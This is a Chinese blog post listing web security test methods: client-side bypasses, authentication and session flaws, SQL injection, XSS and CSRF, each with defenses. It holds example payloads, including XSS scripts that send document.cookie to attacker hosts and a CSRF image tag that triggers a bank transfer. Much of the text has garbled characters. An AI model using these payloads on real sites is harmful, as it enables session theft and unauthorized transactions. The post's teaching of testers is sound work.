安全测试的一些漏洞和测试方法

最近领导让作安全测试，从网上下了一个破解版的appscan，而后开始测试，测试结果也给了一些修改建议。而后领导让整理了一下安全测试的一些漏洞和测试方法，我基本按照LoadRunner性能测试巧匠训练营的后面的安全测试，稍作修改，这里发上来作保存。

1、绕过客户端漏洞

1.      HTML验证

一般人们认为，HTML验证不是一种安全的验证方法。这种验证只能帮助那些不知道该如何填写表单、如何输入的用户缩短服务器处理时间。做为攻击者，能够用各类方法轻易地绕过这种机制。任何客户端验证都应该复制到服务器端。这将大大减小不安全的参数在应用程序使用的可能性。

1. 隐藏表单字段

隐藏的HTML表单是一种看上去没法修改，经过客户端传送数据的经常使用机制。若是一个表单字段标记为hidden或readonly,那么它就没法编辑，是彻底隐藏的，不会在屏幕上显示。可是提交表单时，保存在表单中的字段名称和值仍然被提交给应用程序。这时，若是用发送接口或用调试工具能够轻易改变表单中的隐藏字段并发送给服务器，因此相关的隐藏字段的值在服务器端必须验证。

1. HTTP cookie

与隐藏表单相似，HTTP cookie并不显示在用户屏幕上，也不可直接修改。而早期有些网站对于不一样的会员等级会有不一样的折扣，判断是否享有折扣就用cookie来传达。例如，有些早期的电商网站最先对金牌会员的折扣就是用cookie来传达的，相似在用户登陆后返回一个响应。以下：

HTTP/1.1 200 OK

Set-Cookie:DiscountAgreed=20

一些攻击者能够利用工具或者不经过浏览器修改cookie的值，达到非法目的。

1. URL参数

应用程序有可能会使用预先设定好的URL参数经过客户端传递数据。例如：

http://127.0.0.1/shop/1.html?quantity=1&price=449

固然，这个URL不必定直接显示在浏览器地址栏中，也可能经过包含参数的URL加载框架内容或用弹窗等其余方法隐藏地址栏，这时仍能够经过拦截代理服务器来捕获任何一个不规范的URL参数，从而修改某些参数，以达到绕过的目的。

1. 加密数据

有时候，经过客户端传送的数据是经过加密或者某种形式的模糊处理的，并不以明文显示。如经过拦截代理服务器获得这样一组数据”D61E4BBD6393C9111E6526EA173A7C8B”，传送的参数为：quantity=1&price=D61E4BBD6393C9111E6526EA173A7C8B,有几种方法能够实施攻击：

1）破解：看是不是base3二、base6四、MD5等基本加密方式，经过decode或彩虹表判断，成功破解后修改值进行攻击

2）若是彻底没法理解，仍能够从新传送它的值，如抓取另外一款较便宜的产品的price进行替换，无视其模糊处理

2、攻击验证机制

验证机制常被看做是防护Web恶意攻击的核心机制。它处于Web安全防护阵线的最前沿，若是攻击者能够轻松突破验证机制，那么系统的全部功能、数据甚至帐户余额等私密信息都会被攻击者控制。验证机制是其余所在安全机制的前提，若是验证机制没法阻止攻击，那么其它的安全机制也大多没法实施。

验证机制经常使用的漏洞主要有：

1. 密码保护性不强

1）很是短或空白密码

2）以经常使用字典词汇为密码

3）密码与用户名彻底相同

4）长时间使用默认密码

1. 暴力攻击

登陆功能每每是彻底公开的，这样的机制可能会诱使攻击者试图利用枚举来猜想用户名和密码，从而得到访问应用程序的权利。若是应用程序容许攻击者用不一样的密码暴力尝试，直到他找到正确的密码，这个程序就很是容易受到攻击。

应对暴力破解，常采用的一些安全措施：

1）验证码

验证码方式虽没法彻底避免被暴力破解，但也可使多数随意的攻击者中止攻击行动，转而攻击较容易的应用程序。

2）cookie检测

例如，有一些应用程序会设置一个cookie,如failedlogin=0;登陆尝试失败，递增该值，达到某个上限，检测到这个值并拒绝再次处理登陆。

cookie检测只能防止使用浏览器手动攻击，用专门的工具进行攻击就能够轻易避开。

3）会话检测

与cookie检测相似，将失败计数保存在会话中，虽然在客户端没有标明该漏洞存在的迹象，但只要攻击者得到一个新的会话，就能够继续实施暴力攻击。

4）失败锁定帐户

有些应用程序会采起登陆达到必定次数后锁定目标帐户的方式。可是有可能经过分析其响应，在锁定帐户的状态下仍能够进行密码猜想攻击。

1. 双因子认证

是指结合密码以及实物(信用卡、SMS手机、令牌或指纹等生物标志）两种条件对用户进行认证的方法。其核心是综合我的密码和一般为手机来达到双重认证的效果。目前不少电商、银行都采用了该认证方式。

该方法的最大缺点是构建双因子认证的成本较高、服务器的压力也比较大。

1. 过于详细的失败信息

过于详细的失败信息，就会下降攻击者攻击的难度。如提示密码错误，就能够猜想有这个用户名。

1. 密码修改功能

成熟的系统除了用户登陆，每每会提供密码修改功能，可是在编码过程当中，咱们每每忘记了这个功能中也会存在一些安全隐患。

密码修改功能中常见的安全漏洞包括：

1）密码修改功能是否拥有隐藏的后台接口，如不经过登陆直接能够访问该功能

2）是否可使用不符合标准的密码，如弱密码等

3）密码修改的请求提交时，是否用户名也随之提交？若是提交，是否能够经过修改用户名来达到修改非当前登陆用户密码的目的？

1. 忘记密码功能

当前互联网网站大多提供”忘记密码”功能，可是其中每每会存在一些典型的安全问题，其核心问题就是忘记密码的流程跳过了身份验证。会有如下几种可能：

1）须要确认应用程序中是否有隐含的忘记密码功能或不经过用户名查询便可访问的状况

2）若是恢复机制使用质询方式，则肯定用户可否枚举用户名来获得质询信息，与猜想密码相比，响应质询更容易

3）若是在忘记密码的请求响应中生成一封包含恢复URL的电子邮件，获取大量此类的URL并试图分析和预测其发送URL的模式，是否能够获得其余未知用户的恢复URL

4）不管是使用邮件，仍是发送手机验证码，查看是否能够拦截请求以修改目标邮箱或手机号，从而达到绕过的目的。

1. 用户假装或”留后门 “

应用程序有时可能会容许特权用户假装成其余用户，例如某些电商网站拥有相似OOB(on order behalf)的功能，超级管理员能够假装成任意用户来帮助其执行某些操做。

假装功能设计能够存在如下漏洞：

1）网站可能经过严格的权限控制(只有超级管理员才能够访问的功能模块)或是隐藏的连接(只有超级管理员才知道)的方式执行，例如在网站中有一个特殊的URL能够连接到一个不须要核对用户身份的页面执行部分操做。这时攻击者能够尝试使用枚举URL或者使用爬虫，从而拦截到该功能，劫持全部用户。

2）有些假装功能之后门密码形式执行，也就是说，对于一个普通用户，除去该用户设置的密码外，还拥有一个”万能密码”。这种设计可能招致暴力破解，攻击者攻击成功后能够获取全部用户的密码。

1. 多阶段登陆

在平常的网络应用中，常常发现一些多阶段登陆的功能，如在输入用户名、密码后，可能会要求你验证一个私密问题，经过后方可登陆。这样的设计毫无疑问会增长验证机制的安全性，可是，这样的过程也可能产生更多的缺陷。

1）程序可能会认为，用户一旦访问到第二阶段，就已经完成第一阶段的验证，那么可能会容许攻击者直接进入第二阶段

2）程序可能认为，在两个阶段的执行过程当中，用户身份不会发生任何变化，因而并无在每一个阶段都确认用户身份。例如，第一阶段提交用户名和密码，第二阶段可能须要从新提交某个私密问题答案和一些我的信息。若是攻击者在进行第二阶段时提供了有效的数据，可是不一样于第一阶段时的用户，那么程序可能会容许用户经过验证。

3、攻击会话管理

会话管理机制的安全漏洞主要在会话令牌生成过程当中和在整个会话生命周期过程当中。令牌生成过程当中的主要漏洞就是令牌能够被构造。其中包含两种漏洞，一种是令牌含义易读，也就是没有进行加密或者加密了但能够被解密成可读字符，另一种是令牌能够被预测，可能包括一些隐藏序列、时间戳等。在整个会话生命周期中，能够经过获取别人的token或sessionid来访问。

4、SQL注入攻击

几乎每一个Web网站应用都须要使用数据库来保存操做所需的各类信息，因此Web程序常常会创建用户提交的数据的SQL语句。若是创建这种语句的方法不安全，攻击者就能够经过把SQL命令插入Web表单、URL等位置的方式，最终将SQL命令随页面请求提交至服务器，达到欺骗服务器执行恶意SQL命令的目的。

原理：

构造SQL语句，如加入”’”闭合SQL语句或加入#注释将后面的验证字段注销或加入or使SQL语句的判断条件永远为True绕过验证。

危害：

1）探知数据库的具体结构，为进一步攻击作准备

2）泄露数据尤为是机密信息、帐户信息等

3）取得更高权限，来修改表数据，甚至是内部结构

预防机制：

1）参数化用户输入字段，同时过滤掉那些非法字符

2）下降用户组的权限，受到攻击后不至于受到重大损失

5、跨站脚本攻击（XSS攻击)

在Web应用中，恶意攻击者将某些攻击代码植入提供给用户查看或使用的页面中，当用户在打开网页时，恶意脚本就会执行。这类攻击一般经过注入HTML和JS等脚本发动攻击。攻击成功后，攻击者能够获得私密网页内容以及cookie等。简单来讲，XSS攻击发生的核心缘由是未正确处理用户提交的数据，从而使恶意脚本代码得以提交和执行。

XSS攻击危害巨大，一般被用来盗取会话令牌，篡改甚至删除重要数据和资料，假装用户进行非法操做和非法转帐。

XSS漏洞分三类，分别为反射式XSS，存储式XSS和基于DOM的XSS

1)         反射式XSS

反射式XSS是目前最多见的XSS攻击类型，也称为非永久性XSS攻击。若服务器直接使用客户端提交的数据，如URL中包含的参数、HTML表单中的提交数据等，并无对这些数据进行无害化过滤。若是提交的数据中含有恶意脚本没有正确处理，那么一个简单的XSS攻击就会发生。

典型的反射式攻击能够利用邮件或中间网站，诱铒是一个看起来可信任的站点的连接，其中包含 XSS攻击脚本，若是信任的网站没有正确处理这个脚本，用户点击后就会致使浏览器执行含有恶意攻击的脚本。举一个典型的案例能够帮助理解：

用户A在浏览某个为B让你拥有的网站http://www.sample.com,A使用用户名/密码进行登陆，并存储了某些敏感信息（我的信息及银行帐户信息等）。

C发现B的站点包含一个反射性的XSS漏洞，C编写了一个能够利用该漏洞的URL，并将其冒充为来自B的邮件发送给A。

http://www.sample.com/test.aspx?message=<script>var+i=new+image;i.src=http://c.et/%2bdocument.cookie;<script>

A点击了C提供的URL并登陆，嵌入在URL中的恶意脚本在A的浏览器中执行，就像它直接来自B的服务器同样。此脚本盗窃敏感信息（会话及我的信息等），在A彻底不知情的状况下，向C的Web站点发起一个带有敏感信息的请求，C监控访问http://c.net的请求即可截获A的会话令牌。

2)         存储式XSS

存储式XSS也称为永久性XSS，危害更大。攻击者将攻击脚本上传到Web服务器上，使得全部访问该页面的用户都面临信息泄露的可能，其中也包括了Web服务器的管理员。

典型例子：

在一个交友网站上，一我的在我的信息上写上一段脚本，例如：

<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>

而该网站没有对该段内容进行正确编码，那么网站其余用户看到这个用户信息页时，就会将当前的cookie提交到该用户的Web站点上。

3)         基于DOM的XSS攻击

反射式的XSS攻击和存储式XSS攻击有必定的类似之处，两者都是将用户数据提交到服务器端，服务器以不安全的方式将其返回给用户。基于DOM的XSS攻击仅经过js的方式执行。

基于DOM的XSS攻击常发生在应用程序每次返回相同的静态HTML，而经过客户端javascript动态生成信息时。

XSS攻击的测试方法：

探测是否存在XSS漏洞的基本测试方法是使用一个概念验证攻击字符串：

><script>alert(document.cookie)</script>

这个字符串被提交给每一个应用程序页面的每个参数，同时测试者监控全部请求的响应，看响应中是否返回这个相同的字符串，若是发现攻击字符串中按原样出如今响应中，就几乎能够确定应用程序存在XSS漏洞。

XSS的防范措施：

1）输入确认：若是应用程序收到某个用户请求，其中提交的数据未来有可能被复制到它的响应中，应用程序须要对这些数据执行尽量严格的确认。例如，过滤非法字符(<>’’”%等)、添加白名单、根据不一样的字段设置不一样的确认规则等。

2）输出编码： 若是应用程序已经将某些用户提交的数据复制到它的响应中，那么应用程序应对这些数据进行HTML编码，以净化可能存在的恶意字符。这样作能够最大程度地确保浏览器安全地处理潜在的恶意代码，将它们转化成HTML文档的内容而进行处理。

6、跨站脚本伪造(CSRF攻击）

尽管听起来像跨站脚本，但它与XSS很是不一样，而且攻击方式几乎相左。XSS是利用站点内的信任用户，获取用户的cookie等私密信息；而csrf则不去获取用户的任何信息，只是经过假装为来自受信任的用户的请求，经过社会工程学的手段（如经过聊天工具发送一个连接或被处理过的包含跳转的图片等）来蛊惑用户进行一些敏感性的操做，如修改密码、转帐等，而用户还不知道本身已经中招。

CSRF的破坏力依赖于受害者的权限。若是受害者只是一个普通的用户，则一次成功的CSRF攻击会危害用户的数据、帐户及一些功能；若是受害者具备管理员权限，则一次成功的CSRF攻击甚至会威胁到整个网站的安全。

一个典型的CSRF例子：

A登陆了一个银行网站testbank.com，准备进行查询和网上转帐。B经过本身的分析和攻击尝试，了解到这个站点的转帐功能有某个CSRF漏洞。因而，B在本身的博客上发表了一条博客，而且在博客中插入了提早构造好的一行HTML代码。

<img src=http://testbank.com/transferMoney.jsp?to=B&cash=6000 width=”1” height=”2” border=”0” />

CSRF攻击的测试方法：

通常来讲，测试人员须要对Web应用的一些核心功能进行CSRF检测，那么首先须要肯定哪些功能须要进行CSRF检测。不一样的应用有不一样的标准，但有些核心功能基本每一个Web应用中都有，并且十分关键。例如：

1）修改密码、

2）对私密信息及数据的修改、删除功能

3）与金钱相关的功能，如购物车、团购等

在进行如上功能CSRF测试的时候，能够假定本身同时具有两个身份：攻击者和受害者，而后按照下面的步骤进行操做。

1）用受害者身份登陆，而后进行某个重要功能的操做，假设进行转帐，URL为：http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000.

2）以攻击者身份构造这个重要操做的URL,如能够写为：<img src=”http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000” width=”1” height=”1” border=”0” />

3）在确保受害者登陆的状况下，让受害者点击攻击者构造的URL或生成的图片

4）检查结果：服务器是否执行了你的请求。若是执行了，说明了那个重要功能存在CSRF漏洞。

CSRF攻击经常使用的防范措施

1）增长一些确认操做

好比说上面的转帐功能，当用户调用银行系统api进行转帐的时候，弹出一个对话框，如你确认要转帐6000元吗？这样csrf受害者就能够知道他中招了。

2）从新认证

执行一些重要敏感的操做时，能够要求用户从新输入密码，或者单独输入一个支付密码以及手机验证码等进行二次认证，只有正确了才能继续操做。这种作法显然更安全，但对于用户来讲，易用性差了一些。

3）session失效

创建一个尽可能短一些的会话不活动超时机制

4）设置token

a. 在用户每一次登陆后，产生一个新的不可预知的CSRF Token，而且把此Token存放在用户的session中

b. 进入某功能模块，发现存在一个须要保护的表单，则须要增长一个隐藏字段来存放这个Token，一样，对于须要保护的URL，增长一个参数来存放些Token。

c. 提交此请求的时候，在服务器端经过请求提交的Token与用户session中的Token是否一致，若是一致，处理请求，不然返回一个错误信息给用户。

d. 在用户退出或者session过时的时候，用户信息（包括CSRF Token)从session中移除并销毁session